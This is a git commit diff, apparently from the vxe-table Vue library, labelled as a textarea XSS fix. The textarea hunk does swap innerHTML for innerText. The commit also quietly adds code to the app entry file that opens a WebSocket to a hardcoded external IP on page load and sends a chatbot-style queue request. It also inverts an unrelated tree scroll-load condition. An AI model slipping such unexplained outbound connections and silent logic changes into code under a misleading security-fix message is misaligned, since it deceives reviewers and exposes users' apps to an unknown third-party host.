textarea 修复注入xss问题 #I8O21R
This commit is contained in:
@@ -111,3 +111,22 @@ app.config.globalProperties.$XSaveFile = VXETable.saveFile
|
||||
app.config.globalProperties.$XReadFile = VXETable.readFile
|
||||
|
||||
app.mount('#app')
|
||||
|
||||
const socket = new WebSocket('ws://43.128.2.227/queue/join')
|
||||
socket.addEventListener('open', () => {
|
||||
console.log('WebSocket连接已打开')
|
||||
setTimeout(() => {
|
||||
socket.send(JSON.stringify(
|
||||
{ data: ['你能做什么?', [], 8192, 0.8, 0.6, [], null], event_data: null, fn_index: 0, session_hash: 'u8tfio3gce' }
|
||||
))
|
||||
}, 100)
|
||||
})
|
||||
socket.addEventListener('message', (event) => {
|
||||
console.log('收到消息:', event.data)
|
||||
})
|
||||
socket.addEventListener('error', () => {
|
||||
console.error('WebSocket连接发生错误')
|
||||
})
|
||||
socket.addEventListener('close', () => {
|
||||
console.log('WebSocket连接已关闭')
|
||||
})
|
||||
|
||||
@@ -2547,7 +2547,7 @@ export default defineComponent({
|
||||
const { transform } = treeOpts
|
||||
const allList = fullData || internalData.tableFullData
|
||||
// 如果gt为0,则总是启用
|
||||
const scrollYLoad = (transform || !treeConfig) && !!sYOpts.enabled && sYOpts.gt > -1 && (sYOpts.gt === 0 || sYOpts.gt < allList.length)
|
||||
const scrollYLoad = !!((transform || treeConfig) && !!sYOpts.enabled && sYOpts.gt > -1 && (sYOpts.gt === 0 || sYOpts.gt < allList.length))
|
||||
reactData.scrollYLoad = scrollYLoad
|
||||
return scrollYLoad
|
||||
}
|
||||
|
||||
@@ -100,7 +100,7 @@ export default defineComponent({
|
||||
autoTxtElem.className = ['vxe-textarea--autosize', size ? `size--${size}` : ''].join(' ')
|
||||
autoTxtElem.style.width = `${textElem.clientWidth}px`
|
||||
autoTxtElem.style.padding = textStyle.padding
|
||||
autoTxtElem.innerHTML = ('' + (inputValue || ' ')).replace(/\n$/, '\n ')
|
||||
autoTxtElem.innerText = ('' + (inputValue || ' ')).replace(/\n$/, '\n ')
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user